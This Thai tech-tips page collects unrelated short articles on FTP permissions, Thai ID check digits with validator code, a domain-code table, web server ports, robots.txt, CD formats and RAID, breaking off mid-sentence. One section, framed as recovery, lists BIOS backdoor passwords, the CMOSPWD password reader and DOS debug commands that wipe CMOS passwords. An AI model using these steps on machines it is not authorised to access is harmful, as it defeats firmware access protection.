สำหรับวิธีการเปลียนแปลงค่า CHMOD นั้น ในโปรแกรมสำหรับใช้ในการ Upload ด้วย FTP นั้น โปรแกรมประเภทนี้จะมี Option ที่ใช้ในการเปลี่ยนค่า Permission นี้กับทุกตัวโปรแกรม ผมจะยกตัวอย่างจากโปรแกรม Cute FTP PRO นะครับ
1. ให้เรา Connect ไปที่ Server ที่เราใช้บริการ จากนั้นให้เราทำการไปยังหน้าทางฝั่งของ Remote Site (ฝั่ง Server) 2. ให้เราทำการเลือกไฟล์ที่เราต้องทำการเปลียนค่า CHMOD แล้ว Click ขวาที่ไฟล์นั้น จากนั้นจะปรากฏเมนูดังรูป
 3. เลือกไปที่เมนูที่มีคำว่า CHMOD ( FTP บางโปรแกรมอาจจะเรียกว่า Properties) 4. เมื่อ Click เลือกไปที่เมนูดังกล่าวแล้ว จะปรากฏหน้าต่างให้เราสามารถกำหนดค่า CHMOD ใหม่ลงไปได้ ดังรูป
5. เมื่อทำการกำหนดได้ตามที่ต้องการแล้ว จากนั้นก็ OK เป็นอันเสร็จสิ้นขั้นตอนการเปลี่ยนค่า Permissions ของไฟล์นะครับ
คัดลอกบทความจาก : www.dwthai.comreserved. This website was created by : S.raksasuk.
หมอดู แม่นมั่กๆ สามารถทำนายรหัสประชาชนหลักที่ 13 จาก รหัสประชาชน 12 หลักแรกได้ครับ รหัสประจำตัวประชาชน (ขอเรียกสั้นๆว่า รหัสประชาชน) ที่เราจะมาตรวจกันวันนี้เป็นรหัสประชาชน ของคนไทยนะครับ ก่อนอื่น ให้เพื่อนๆ หยิบบัตรประชาชนของเพื่อนๆ ขึ้นมาดูกันเลยครับ
รหัสประจำตัวของเราจะอยู่ในรูป x-xxxx-xxxxx-xx-x (เลข 13 หลัก) ใช่มั้ยครับ แต่เพื่อนๆ รู้ป่ะว่า จริงๆแล้ว รหัสประจำตัวของเราเนี่ย จริงๆ แล้วมีแค่ 12 หลักเท่านั้น (12 หลักแรก) แต่เลขตัวสุดท้ายเนี่ย เป็น Check Digit ครับ
Check Digit คืออะไรหนอ?
Check Digit เป็นตัวเลข 1 หลัก ที่เกิดจากการนำเลขหลักอื่นๆ มา บวก ลบ คูณ หาร กัน และ Check Digit นี่หละครับ จะช่วยให้เราตรวจสอบในเบื้องต้นได้ว่า ข้อมูลที่กรอกมาถูกต้องรึเปล่า
เวลาเราจะตรวจสอบว่าข้อมูลที่กรอกมาถูกต้องรึเปล่า เราจะคำนวณ Check Digit จากเลขหลักอื่นๆ เพื่อเปรียบเทียบกับ Check Digit ที่เขากรอกมาว่าตรงกันมั้ย ถ้าตรงกันก็แสดงว่าข้อมูลถูกต้องไม่ผิด ไม่มั่ว แต่ถ้าไม่ตรงกัน ก็แปลว่า ข้อมูลที่กรอกมามีข้อมูลซักหลัก หรือ สองหลักที่ผิด เราก็สามารถเตือนให้ผู้ใช้ทราบและกรอกใหม่ อีกครั้งได้
เอ้า มาลองคำนวณ Check Digit ของรหัสประชาชนเรากันดีกว่า
ขอยกตัวอย่างรหัสประชาชนนี้ละกันครับ
1-2015-41462-23-4
ไหน ตอบหน่อยซิ ว่า Check Digit ของรหัสประชาชนนี้คือเลขอะไรคร้าบ....... เอ้า ถามเองตอบเองก็ได้ Check Digit ของรหัสประชาชนนี้คือเลข 4 (เลขตัวสุดท้ายนั่นเอง) เรามาดูกันว่า เลข 4 เกิดจากอะไรหว่า? คำนวณมาได้ไง? มั่วอ๊ะเปล่า?
- ขั้นตอนที่ 1 - เอาเลข 12 หลักมา เขียนแยกหลักกันก่อน (หลักที่ 13 ไม่ต้องเอามานะคร้าบ)
- ขั้นตอนที่ 2 - เอาเลข 12 หลักนั้นมา คูณเข้ากับเลขประจำหลักของมัน
| รหัสบัตร
| 1
| 2
| 0
| 1
| 5
| 4
| 1
| 4
| 6
| 2
| 2
| 3
|
| ตัวคูณ
| 13
| 12
| 11
| 10
| 9
| 8
| 7
| 6
| 5
| 4
| 3
| 2
|
|
|
| ผลคูณ
| 13
| 24
| 0
| 10
| 45
| 32
| 7
| 24
| 30
| 8
| 6
| 6 |
- ขั้นตอนที่ 3 - เอาผลคูณทั้ง 12 ตัวมา บวกกันทั้งหมด จะได้ 13+24+0+10+45+32+7+24+30+8+6+6=205
- ขั้นตอนที่ 4 - เอาเลขที่ได้จากขั้นตอนที่ 3 มา mod 11 (หารเอาเศษ) จะได้ 205 mod 11 = 7
- ขั้นตอนที่ 5 - เอา 11 ตั้ง ลบออกด้วย เลขที่ได้จากขั้นตอนที่ 4 จะได้ 11-7 = 4 (เราจะได้ 4 เป็นเลขในหลัก Check Digit)
ถ้าเกิด ลบแล้วได้ออกมาเป็นเลข 2 หลัก ให้เอาเลขในหลักหน่วยมาเป็น Check Digit (เช่น 11 ให้เอา 1 มา, 10 ให้เอา 0 มา เป็นต้น)
โอ้โห....มหัศจรรย์มาก ยอดเยี่ยมกระเทียมดอง เลขที่ได้ตรงกับเลขหลักที่ 13 ด้วยแหละ...ถ้าไม่เชื่อก็เอาเลขบัตรประชาชนตัวเองมาคำนวณดูสิครับ
ผมคิดว่าหลายๆ คนคงมีคำถามในใจแล้วหละว่า ทำไมต้องเอามาคูณ 13 ทำไมต้องเอามา บวกกัน ทำไมต้องเอามา mod 11 คำตอบที่ผมให้ได้ก็คือ มันคือวิธีที่ถูกเลือกใช้ในการคำนวณ Check Digit ให้กับรหัสประชาชนครับ แต่ถ้าเราจะคำนวณ Check Digit ให้กับรหัสสินค้า หรือ ISBN ของหนังสือ เราก็ต้องใช้วิธีการคำนวณ ที่แตกต่างกันออกไปครับ
ในเมื่อรู้วิธีแล้ว เรามาเขียนโปรแกรมตรวจสอบกันดีกว่าผมเขียนไว้ให้หลายภาษาเหมือนกัน ให้เพื่อนๆ เลือกใช้ได้ตามสะดวกนะครับ
.......................................................................................... เวอร์ชัน JavaScript <script language="javascript"> function checkID(id) { if(id.length != 13) return false; for(i=0, sum=0; i < 12; i++) sum += parseFloat(id.charAt(i))*(13-i); if((11-sum%11)%10!=parseFloat(id.charAt(12))) return false; return true; }
function checkForm() { if(!checkID(document.form1.txtID.value)) alert('รหัสประชาชนไม่ถูกต้อง'); else alert('รหัสประชาชนถูกต้อง เชิญผ่านได้'); } </script> <form name="form1" onsubmit="checkForm(); return false;"> รหัสประจำตัวประชาชน : <input type="text" name="txtID" /> <input type="submit" value="ตรวจสอบ" /> </form> .......................................................................................... เวอร์ชัน php <? function checkID($id) { if(strlen($id) != 13) return false; for($i=0, $sum=0; $i<12;$i++) $sum += (int)($id{$i})*(13-$i); if((11-($sum%11))%10 == (int)($id{12})) return true; return false; } ?>
<form action="?" method="get"> รหัสประจำตัวประชาชน : <input type="text" name="txtID" /> <input type="submit" value="ตรวจสอบ" /> </form>
<? if(isset($_GET['txtID'])) { if(checkID($_GET['txtID'])) echo "รหัสถูกต้องครับ"; else echo "รหัสที่คุณกรอกไม่ถูกต้องครับ"; } ?> .................................................................................... เวอร์ชั่น ASP 3 <% Function checkID(id) checkID = False If Len(id) = 13 Then Dim i, sum For i = 1 To 12 sum = sum + CInt(Mid(id, i, 1))*(14-i) Next If (11-(sum Mod 11)) Mod 10 = CInt(Mid(id, i, 13)) Then checkID = True End If End If End Function %>
<form action="?" method="get"> รหัสประจำตัวประชาชน : <input type="text" name="txtID" /> <input type="submit" value="ตรวจสอบ" /> </form>
<% If Request("txtID") <> "" Then If checkID(Request("txtID")) Then Response.Write "รหัสถูกต้องครับ" Else Response.Write "รหัสที่คุณกรอกไม่ถูกต้องครับ" End If End If %> ..........................................................................................
จริงๆ แล้วถ้าเพื่อนๆ จะเอาไปใช้จริง ก็ Copy ไปเฉพาะฟังก์ชัน CheckID ก็ได้ครับ โดยพารามิเตอร์ตัวแรกของ CheckID ทั้ง 3 ภาษานี้คือ ข้อความที่เก็บรหัสประจำตัวประชาชนไว้ครับ ฟังก์ชันนี้จะคืนค่าเป็น True ถ้ารหัสถูกต้อง และคืนค่าเป็น False ถ้ารหัสผิดครับ
สรุป เราได้เรียนรู้วิธีการตรวจสอบเบื้องต้น (ข้อย้ำว่าเบื้องต้น) เพราะรหัสประชาชนที่ผู้ใช้กรอก อาจมี Check Digit ที่ถูกต้อง แต่อาจเป็นรหัสประชาชนที่ไม่มีอยู่จริงก็ได้นะครับ
Copyright © 2004-2005 Siamdev.Net Developers Team รวบรวม นามสกุล(extension)ต่างๆ ของแต่ละประเทศ เอามาฝาก ว่าของใครมาจากประเทศไหนบ้าง
| A B C D E
|
| F G H I J K L
|
|
| Country
|
|
| United Kingdom academic institutions
|
|
ad
| Andorra
|
|
ae
| United Arab Emirates
|
|
af
| Afghanistan
|
|
ag
| Antigua and Barbuda
|
|
ai
| Anguilla
|
|
al
| Albania
|
|
am
| Armenia
|
|
an
| Netherlands Antilles
|
|
ao
| Angola
|
|
aq
| Antarctica
|
|
ar
| Argentina
|
|
as
| American Samoa
|
|
at
| Austria
|
|
au
| Australia
|
|
aw
| Aruba
|
|
az
| Azerbaijan
|
|
| Bosnia and Herzegovina
|
|
bb
| Barbados
|
|
bd
| Bangladesh
|
|
be
| Belgium
|
|
bf
| Burkina Faso
|
|
bg
| Bulgaria
|
|
bh
| Bahrain
|
|
bi
| Burundi
|
|
bj
| Benin
|
|
bm
| Bermuda
|
|
bn
| Brunei Darussalam
|
|
bo
| Bolivia
|
|
br
| Brazil
|
|
bs
| Bahamas
|
|
bt
| Bhutan
|
|
bv
| Bouvet Island
|
|
bw
| Botswana
|
|
by
| Belarus
|
|
bz
| Belize
|
|
| Canada
|
|
cc
| Cocos (Keeling) Islands
|
|
cf
| Central African Republic
|
|
cg
| Congo
|
|
ch
| Switzerland
|
|
ci
| Cote d'Ivoire (Ivory Coast)
|
|
ck
| Cook Islands
|
|
cl
| Chile
|
|
cm
| Cameroon
|
|
cn
| China
|
|
co
| Colombia
|
|
com
| US Commercial
|
|
cr
| Costa Rica
|
|
cs
| Czechoslovakia (former)
|
|
cu
| Cuba
|
|
cv
| Cape Verde
|
|
cx
| Christmas Island
|
|
cy
| Cyprus
|
|
cz
| Czech Republic
|
|
| Germany
|
|
dj
| Djibouti
|
|
dk
| Denmark
|
|
dm
| Dominica
|
|
do
| Dominican Republic
|
|
dz
| Algeria
|
|
| Ecuador
|
|
edu
| US Educational
|
|
ee
| Estonia
|
|
eg
| Egypt
|
|
eh
| Western Sahara
|
|
er
| Eritrea
|
|
es
| Spain
|
|
et
| Ethiopia |
|
|
|
| Country
|
|
| Finland
|
|
fj
| Fiji
|
|
fk
| Falkland Islands (Malvinas)
|
|
fm
| Micronesia
|
|
fo
| Faroe Islands
|
|
fr
| France
|
|
fx
| France (Metropolitan)
|
|
| Gabon
|
|
gb
| Great Britain (UK)
|
|
gd
| Grenada
|
|
ge
| Georgia
|
|
gf
| French Guiana
|
|
gh
| Ghana
|
|
gi
| Gibraltar
|
|
gl
| Greenland
|
|
gm
| Gambia
|
|
gn
| Guinea
|
|
gov
| US Government
|
|
gp
| Guadaloupe
|
|
gq
| Equatorial Guinea
|
|
gr
| Greece
|
|
gs
| South Georgia and South Sandwich Islands
|
|
gt
| Guatemala
|
|
gu
| Guam
|
|
gw
| Guinea-Bissau
|
|
gy
| Guyana
|
|
| Hong Kong
|
|
hm
| Heard and McDonald Islands
|
|
hn
| Honduras
|
|
hr
| Croatia (Hrvatska)
|
|
ht
| Haiti
|
|
hu
| Hungary
|
|
| Indonesia
|
|
ie
| Ireland
|
|
il
| Israel
|
|
in
| India
|
|
io
| British Indian Ocean Territory
|
|
iq
| Iraq
|
|
ir
| Iran
|
|
is
| Iceland
|
|
it
| Italy
|
|
| Jamaica
|
|
jo
| Jordan
|
|
jp
| Japan
|
|
ke
| Kenya
|
|
| Kyrgyzstan
|
|
kh
| Cambodia
|
|
ki
| Kiribati
|
|
km
| Comoros
|
|
kn
| Saint Kitts and Nevis
|
|
kp
| Korea (North)
|
|
kr
| Korea (South)
|
|
ku
| Kuwait
|
|
ky
| Cayman Islands
|
|
kz
| Kazakhstan
|
|
| Laos
|
|
lb
| Lebanon
|
|
lc
| Saint Lucia
|
|
li
| Liechtenstein
|
|
lk
| Sri Lanka
|
|
lr
| Liberia
|
|
ls
| Lesotho
|
|
lt
| Lithuania
|
|
lu
| Luxembourg
|
|
lv
| Latvia
|
|
ly
| Libya |
|
| M N O P Q R
|
| S T U V W X Y Z
|
|
| Country
|
|
| Morocco
|
|
mc
| Monaco
|
|
md
| Moldova
|
|
mg
| Madagascar
|
|
mh
| Marshall Islands
|
|
mil
| US Military
|
|
mk
| Macedonia
|
|
ml
| Mali
|
|
mm
| Mynamar
|
|
mn
| Mongolia
|
|
mo
| Macau
|
|
mp
| Northern Mariana Islands
|
|
mq
| Martinique
|
|
mr
| Mauritania
|
|
ms
| Montserrat
|
|
mt
| Malta
|
|
mu
| Mauritius
|
|
mv
| Maldives
|
|
mw
| Malawi
|
|
mx
| Mexico
|
|
my
| Malaysia
|
|
mz
| Mozambique
|
|
| Namibia
|
|
nc
| New Caledonia
|
|
ne
| Niger
|
|
net
| US network
|
|
nf
| Norfolk Island
|
|
ng
| Nigeria
|
|
ni
| Nicaragua
|
|
nl
| Netherlands
|
|
no
| Norway
|
|
np
| Nepal
|
|
nr
| Nauru
|
|
nt
| Neutral Zone
|
|
nu
| Niue
|
|
nz
| New Zealand (Aotearoa)
|
|
| Oman
|
|
org
| US Non-Profit Organization
|
|
| Panama
|
|
pe
| Peru
|
|
pf
| French Polynesia
|
|
pg
| Papua New Guinea
|
|
ph
| Philippines
|
|
pk
| Pakistan
|
|
pl
| Poland
|
|
pm
| Saint Pierre and Miquelon
|
|
pn
| Pitcairn
|
|
pr
| Puerto Rico
|
|
pt
| Portugal
|
|
pw
| Palau
|
|
py
| Paraguay
|
|
| Qatar
|
|
| Reunion
|
|
ro
| Romania
|
|
ru
| Russian Federation
|
|
rw
| Rwanda |
|
|
|
| Country
|
|
| Saudi Arabia
|
|
sb
| Solomon Islands
|
|
sc
| Seychelles
|
|
sd
| Sudan
|
|
se
| Sweden
|
|
sg
| Singapore
|
|
sh
| Saint Helena
|
|
si
| Slovenia
|
|
sj
| Svalbard and Jan Mayen Islands
|
|
sk
| Slovak Republic
|
|
sl
| Sierra Leone
|
|
sm
| San Marino
|
|
sn
| Senegal
|
|
so
| Somalia
|
|
sr
| Suriname
|
|
st
| Sao Tome and Principe
|
|
su
| USSR (former)
|
|
sv
| El Salvador
|
|
sy
| Syria
|
|
sz
| Swaziland
|
|
| Turks and Caicos Islands
|
|
td
| Chad
|
|
tf
| French Southern Territories
|
|
tg
| Togo
|
|
th
| Thailand
|
|
tj
| Tajikistan
|
|
tk
| Tokelau
|
|
tm
| Turkmenistan
|
|
tn
| Tunisia
|
|
to
| Tonga
|
|
tp
| East Timor
|
|
tr
| Turkey
|
|
tt
| Trinidad and Tobago
|
|
tv
| Tuvalu
|
|
tw
| Taiwan
|
|
tz
| Tanzania
|
|
| Ukraine
|
|
ug
| Uganda
|
|
uk
| United Kingdom
|
|
um
| US Minor Outlying Islands
|
|
us
| United States
|
|
uy
| Uruguay
|
|
uz
| Uzbekistan
|
|
| Vatican City State
|
|
vc
| Saint Vincent and the Grenadines
|
|
ve
| Venezuela
|
|
vg
| Virgin Islands (British)
|
|
vi
| Virgin Islands (US)
|
|
vn
| Viet Nam
|
|
vu
| Vanuatu
|
|
| Wallis and Futuna Islands
|
|
ws
| Samoa
|
|
| Yemen
|
|
yt
| Mayotte
|
|
yu
| Yugoslavia
|
|
| South Africa
|
|
zm
| Zambia
|
|
zr
| Zaire
|
|
zw
| Zimbabwe | |
โดยปกติแล้ว หากใช้เครื่องคอมพิวเตอร์คนเดียว ก็คงไม่มีความจำเป็นต้องตั้ง Password สำหรับเข้าไป Setup BIOS หรือเปิดเครื่อง แต่ถ้าหากได้เคยตั้งไว้แล้วลืม หรือได้เมนบอร์ดมาโดยที่มีการตั้ง Password ไว้และไม่รู้ว่าใช้ Password อะไร ก็มีวิธีการที่จะ Reset หรือ Clere Password ซึ่งอาจจะต้องลองหลาย ๆ วิธีดูนะครับเท่าที่ได้รวบรวมมาดังนี้
ถ้าคุณไม่ได้ตั้ง password เอง ให้ลองใช้ Default Password เหล่านี้ดูก่อน เพราะอาจจะเป็น password ที่ตั้งมาตั้งแต่แรกก็ได้ (Case Sensitive)
- AMI
- Award
- bios
- setup
- cmos
- AMI_SW
- AMI!SW/
- AMI?SW/
- AWARD_SW
ทำการ Reset โดยการ Clear CMOS ดังนี้
- มองหา jumper สำหรับ Reset CMOS ก่อนโดยดูจากคู่มือ หรืออาจจะมองหา jumper ใกล้ ๆ กับแบตเตอรี่ของ CMOS ก็ได้ ส่วนใหญ่จะมีลักษณะเป็น jumper 3 ขา
- วิธีการ Reset คือทำการ jump ให้ตรงข้ามกับปกติ คือถ้าหากเดิมมีการ jump อยู่ที่ 1-2 ก็เปลี่ยนมาเป็น 2-3 หรือถ้าปกติ jump อยู่ที่ 2-3 อยู่แล้วก็เปลี่ยนเป็น 1-2
- จากนั้นเปิดเครื่องคอมพิวเตอร์ ทิ้งไว้สัก 5-10 วินาที ปิดเครื่องคอมพิวเตอร์
- เปลี่ยน jumper กลับมาที่เดิม Password จะถูก Reset
ทำการถอดแบตเตอรี่ของ CMOS ออก
ถ้าหากไม่สามารถหา jumper สำหรับ Reset CMOS ได้อาจจะมีอีกวิธี คือทำการถอดแบตเตอรี่ของ CMOS ออกสัก 5 นาทีแล้วก็ใส่เข้าไปใหม่ จะเป็นการตั้งค่าทุกอย่างของ BIOS กลับไปเป็น Default ได้ แต่เมนบอร์ดบางรุ่น จะยังมี Password อยู่โดยจะเป็น Default Password ตามด้านบนนะครับ หลังจากใส่แบตเตอรี่แล้วก็ถ้ายังถาม Password อีกให้ลองใส่ Default Password ข้างบนดู
ใช้โปรแกรม Reset CMOS เพื่อทำการลบ password
โดยการใช้โปรแกรม มาทำการรัน เพื่อลบ password ซึ่งวิธีนี้ผมเองก็ยังไม่เคยใช้ ถ้าหากไม่มีวิธีอื่น ๆ แล้วก็ลองกันดูครับ ตัวโปรแกรมที่ว่าเคยเห็นจาก http://www.thaiware.com ครับ
ใช้โปรแกรม CMOSPWD สำหรับการดู password ที่ตั้งไว้
โดยการใช้โปรแกรม CMOSPWD มารันใน DOS Mode ซึ่งจะทำให้เราเห็นข้อมูลของ password ได้ แต่ต้องทราบรุ่นของ bios ที่ใช้งานด้วยนะครับ ตัวโปรแกรมนี้หาได้ที่ http://www.tweakfiles.com ครับ
ใช้ debug ในการลบ password
อีกวิธีหนึ่งครับ โดยการเรียกโปรแกรม debug ที่จะมีอยู่ใน DOS และสั่งคำสั่งต่าง ๆ โดยมีขั้นตอนดังนี้
1. บูตเครื่องโดยให้เข้าที่ DOS Mode โดยการกด Ctrl ค้างขณะบูต และเลือกเข้า DOS Prompt 2. พิมพ์คำว่า debug และกด Enter จะขึ้นเครื่องหมาย - รออยู่ 3. พิมพ์คำว่า o 70 2e และกด Enter ( ตัวอักษร โอ เจ็ดศูนย์ สองหนึ่ง นะครับ) 4. พิมพ์คำว่า o 71 ff และกด Enter 5. กด q และกด Enter ครับ 6. จากนั้น บูตเครื่องใหม่ ถ้าใช้งานได้ ก็จะไม่มีการถามรหัสผ่านเข้า bios อีกแล้ว
Credit :: www.com-th.net
Service ในที่นี้คือ การเปิด Service ให้ WebServer ทำงาน ปกติ WebServer จะทำงานที่พอร์ต 80 ( ค่า Default ) ถ้าท่านติดตั้ง 2 Service ในเครื่องของท่าน Web Server จะเปิดทำงาน พร้อมกันไม่ได้ ถ้าต้องการใช้ ควรต้องเปลี่ยนพอร์ต เพื่อ ไม่ให้ชนกัน
วิธีเปลี่ยนพอร์ต ใน Apache ( ถ้าต้องการ ติดตั้ง Apache โปรดดูหัวข้อ ติดตั้ง Apache ใน Windows ) ให้เข้าไปที่ Path ที่ติดตั้งโปรแกรม /Apache Group/Apache2/conf/ ชื่อไฟล์ว่า httpd.conf เปิดด้วย Notepad หรือ EditPlus ค้นหาคำว่า Listen 80 แก้เป็น Listen 8080 ServerName localhost:80 แก้เป็น ServerName localhost:8080 เซฟไฟล์ แล้ว คลิก Stop และ Start Service ของ Apache
วิธีเปลี่ยนพอร์ต ใน IIS คลิกขวาที่ MyComputer เลือก Manage ปรากฏหน้าจอ Computer Management รายการ Service and Application > Internet Information Services คลิกขวาที่ Default Web Site เลือก Properties ปรากฏหน้าต่าง Default Web Site Properties เลือก แท็ป Web Site ช่อง TCP Port เปลี่ยนจาก 80 เป็น 8080 กด Apply และปุ่ม OK คลิก Stop และ Start Service ของ IIS รูปต่อไปนี้ เปิดพร้อมกัน 2 Service
 รูปข้างบน เปิด Service ของ IIS ทำงานที่พอร์ต 80 โดยใช้ภาษา PHP
 รูปนี้ เปิด Service ของ Apache ทำงานที่พอร์ต 8080 โดยใช้ภาษา PHP
:: Hello..!! Robot ::
เครื่องมือ Search Engine ที่แสนฉลาด กับการป้องกันข้อมูล ที่เป็นส่วนตัว โรบอต (Robot) เป็นโปรแกรมเก็บข้อมูลในอินเตอร์เน็ต ซึ่งบางครั้ง เรียกว่า สไปเดอร์ (Spider) หรือ ครอว์เลอร์(Crawler) จะทําหน้าที่รวบรวมไฟล์ HTML เพื่อมาเป็นข้อมูล สําหรับสร้างดัชนีค้นหา ให้กับ เสิร์จเอ็นจิน (Search Engine) โดยทั่วไปแล้ว โรบอตจะกลับมาที่เว็บไซต์ที่อ่านไปแล้ว เพื่อตรวจสอบ การเปลี่ยนแปลง ตามระยะเวลาที่กําหนด
ปัจจุบันได้ใช้มาตราฐาน Standard Robot Exclusion [3,4,5] ซึ่งใช้กําหนดการทํางานของโรบอต สําหรับเว็บไซด์แต่ละแห่ง โดยที่เว็บไซด์ใดๆ สามารถกําหนดได้ว่าจะยอมให้โรบอตตัวใดมาอ่านหรือไม่ อนุญาตให้อ่านข้อมูล ส่วนหนึ่งส่วนใดในเว็บไซด์ได้ โดยการสร้างไฟล์ robots.txt ขึ้นมา robots.txt จะต้องนำมาวางไว้ที่ Root Directory (ไดเรกเทอรี่เริ่มต้นของเวบไซค์)
ตัวอย่างไฟล์ robots.txt User-agent: * Disallow: /cgi-bin/ Disallow: /tmp/ Disallow: /logs/
ความหมาย และคําอธิบาย # / robots.txt file for http://cannot.info / # mail info at cannot.info for constructive criticis m ปิดกั้นด้วย # เป็นคําอธิบาย (comment) เพื่อให้ Spider ไม่สนใจข้อความในบรรทัดนี้ User-agent : webcrawler Disallow : อนุญาตให้ webcrawler ทําดัชนีได้โดยไม่มีข้อกําหนด User-agent : lycra Disallow : / ไม่อนุญาตให้ lycra ทําดัชนีที่ Server นี้ โดยปิดกั้นด้วย / User-agen : * Disallow : /tmp Disallow : /logs # ไม่อนุญาตให้ Spider อื่นอ่าน /tmp และ /logs
คลิกดูตัวอย่างจากเวบไซค์จริงที่ pantip.com http://pantip.com/robots.txt แล้วคุณ..? จะเปิดเผย หรือ ป้องกันไดเรกเทอรี่ ที่เป็นส่วนตัว หรือไม่ !!
So where did the Adobe Photoshop CS2 Thumbnails in Windows Explorer go? They simply disappeared! Well actually CS2 no longer supports thumbnail .PSD files in Windows anymore. But using the instuctions below, you can get them back in no time
- Download this file to a temporary folder.
- Shut down all Adobe programs.
- Set a ’system return point’ to allow you to rollback the changes should anything go wrong (if your system supports it).
- Unzip it to C:Program Files Common Files Adobe Shell. You could quite likely already have either of the DLL files. No matter.
- Run ‘aiicon.dll.reg’ by double clicking it.
- Run ‘psicon.dll.reg’ by double clicking it.
ISO-9660 การจัดเก็บไฟล์ในรูปแบบของ ISO-9660 นี้จะถูกแบ่งออกเป็น 3 Level ครับ โดยแต่ละ Level นั้นจะใช้การจัดเก็บชื่อไฟล์แตกต่างกันออกไป โดยจะเน้นไปที่การนำไปใช้งานเป็นหลักนั่นเอง
ISO-9660 [Level-1] สำหรับการจัดเก็บชื่อไฟล์แบบ Level-1 นี้จะเป็นการจัดเก็บชื่อไฟล์ในแบบ 8+3 โดยจะเป็นชื่อไฟล์ 8 ตัวอักษร พร้อมด้วยนามสกุลอีก 3 ตัวอักษร และไม่รวมถึงสัญลักษณ์พิเศษบางตัว โดย Level-1 นี้ถูกออกแบบมาเพื่อนำแผ่นซีดีไปใช้งานกับระบบ DOS เป็นหลัก
ISO-9660 [Level-2] ใน Level-2 อนุญาตให้ตั้งชื่อในรูปแบบที่ยาวกว่าชื่อไฟล์แบบ 8+3 ใน Level 1 ได้ แต่ก็ต้องแลกกับการไม่สามารถนำแผ่นไปใช้กับระบบปฏิบัติการบางตัวได้
ISO-9660 [Level-3] ใน Level 3 นี้จะเป็นการอนุญาตให้ตั้งชื่อไฟล์โดยที่ตัวอักษรไม่จำเป็นต้องติดกันได้ด้วย ซึ่งการตั้งชื่อในลักษณะนี้สามารถนำแผ่นไปใช้กับระบบปฏิบัติการวินโดวส์ และแมคได้ แต่จะมีปัญหากับการนำไปใช้บนดอส ซึ่งไม่สนับสนุนการตั้งชื่อไฟล์ในลักษณะนี้ สำหรับมาตรฐาน ISO-9660 นี้เป็นมาตรฐานที่นิยมใช้กันอยู่ทั่วไป เนื่องจากว่ามีความยืดหยุ่นและรองรับการทำงานได้หลากหลายไม่ยุ่งยาก จึงไม่น่าแปลกใจว่าหลายโปรแกรมจะใช้เป็นค่าเริมต้นในการเขียนแผ่นซีดีในปัจจุบัน
Joliet ชื่อนี้เชื่อว่าหลายคนคงได้เห็นกันบ่อยมาก โดยเฉพาะใครที่ใช้โปรแกรม Easy CD Creator โดยเป็นการจัดเก็บไฟล์ที่ได้รับการออกแบบมาสำหรับการทำงาร่วมกับระบบปฏิบัติการวินโดวส์ โดยเฉพาะ ซึ่งผู้ที่ตั้งมาตรฐานนี้ขึ้นมาก็ไม่ใช่ใครอื่นครับไมโครซอฟท์นี่เอง ซึ่งการสั่งให้เขียนโปรแกรมในลักษณะนี้จะการันตีได้ในส่วนหนึ่งว่า Windows จะอ่านได้แน่นอน โดยจะสนับสนุนตั้งแต่วินโดวส์ 95 ไปจนถึงเอ็นที 4.0 โดยจะสนับสนุนการตั้งชื่อไฟล์แบบยาวได้สูงสุดที่ 64 ตัวอักษร
ISO/IEC 13346 (UDF) มาตรฐานใหม่ที่จะมาแทน ISO-9660 สนับสนุนการจัดเก็บชื่อไฟล์ในรูปแบบของ UDF หรือ Universal Disk Format ซึ่งในส่วนนี้กำลังเริ่มจะนำไปใช้ในการทำงานร่วมกับแผ่น DVD หรือแผ่น CD-RW บางอย่าง ซึ่งการจัดเก็บไฟล์ในรูปแบบ UDF นี้จะต้องใช้ในกรณีที่เรานำแผ่น CD-RW ไปทำงานร่วมกับโปรแกรม Direct CD ของ Adaptec และระบบปฏิบัติการของแมค ตั้งแต่ OS 8.0 ก็จะสนับสนุนมาตรฐานการจัดเก็บไฟล์แบบ UDF ด้วยเช่นกัน
Rock Ridge อย่างที่ทราบกันครับว่าเป็นมาตรฐานในการจัดเก็บไฟล์ที่ไว้ใช้กับระบบปฏิบัติการ Unix โดย Rock Ridge นี้จะเป็นมาตรฐานที่ได้รับการพัฒนาต่อจาก ISO-9660 อีกทีนึงนั่นเอง แต่ข้อแตกต่างของมันก็คือจะอนุญาตให้ใช้สัญลักษณ์บางอย่างในการตั้งชื่อไฟล์ได้ ซึ่งการจัดเก็บชื่อไฟล์ในส่วนของ Rock Ridge นี้จะสามารถนำไปใช้งานได้ทั้งเครื่อง Unix, Windows และ MSDOS แต่ว่าการจัดเก็บลักษณะนี้จะไม่สามารถนำไปใช้งานในเครื่องแมคได้ด้วย
HFS HFS หรือ Hierarchical File System จะเป็นมาตรฐานการจัดเก็บชื่อไฟล์ในรูปแบบเฉพาะตัวสำหรับเครื่อง MAC เป็นหลัก แทบจะเรียกได้ว่า ISO-9660 เป็นมาตรฐานหลักสำหรับเครื่อง PC เครื่อง MAC ก็มี HFS นี่เอง จริงแล้ว HFS นี้จะมีเครื่อง MAC ที่สามารถอ่านได้ทันที แต่ถ้าจะใช้ใน PC แล้วล่ะก็ได้เช่นกันครับ แต่ทว่าระบบปฏิบัติการที่สนับสนุนการจัดเก็บชื่อไฟล์แบบนี้ก็คือ Linux และ IBM OS/2 นอกจากนี้เครื่อง SGI บางรุ่นยังสนับสนุนการจัดเก็บชื่อไฟล์ในลักษณะนี้ด้วยเช่นกัน
(ข้อมูลจาก http://network.yru.ac.th/modules.php?name=News&file=article&sid=64 )
ในปี 1987 Patterson, Gibson และ Katz ซึ่งทำงานที่ University of California Berkeley ได้พิมพ์บทความเกี่ยวกับ A Case for Redundant Arrays of Inexpensive Disks (RAID) โดยเอกสารนี้ได้บรรยายถึงชนิดของดิสก์อะเรย์ประเภทต่างๆ โดยเรียกชื่อย่อๆว่า RAID หลักการพื้นฐานของ RAID มาจากแนวคิดที่ว่า เมื่อเอาดิสก์ที่มีความจุน้อยหลายๆตัวมารวมกัน ประสิทธิภาพที่ได้จากการใช้งานจะมากกว่าใช้ดิสก์ขนาดใหญ่เพียงตัวเดียว โดยเมื่อเอาดิสก์มารวมกันแล้ว คอมพิวเตอร์จะต้องเห็นว่าเป็นดิสก์ขนาดใหญ่ตัวเดียว (เป็น Logical Drive) ต่อมา RAID ก็เปลี่ยนคำจำกัดความเป็น Redundant Array of independent disks ข้อดีคือ ได้ความจุเพิ่มขึ้น แต่ถ้าตัวใดตัวหนึ่งพังก็จะเสีย ข้อมูลในฮาร์ดดิสก์ตัวนั้นไป แต่จะป้องกันได้มากกว่า ใช้ระบบการจัดแบ่งเก็บข้อมูลในแต่ละตัวก็มีข้อมูลที่ซ้ำกัน หรือมีการเก็บ Parity ของอีกตัวไว้ ถ้าเกิดวันใดที่ตัวหนึ่งเกิดพังไป 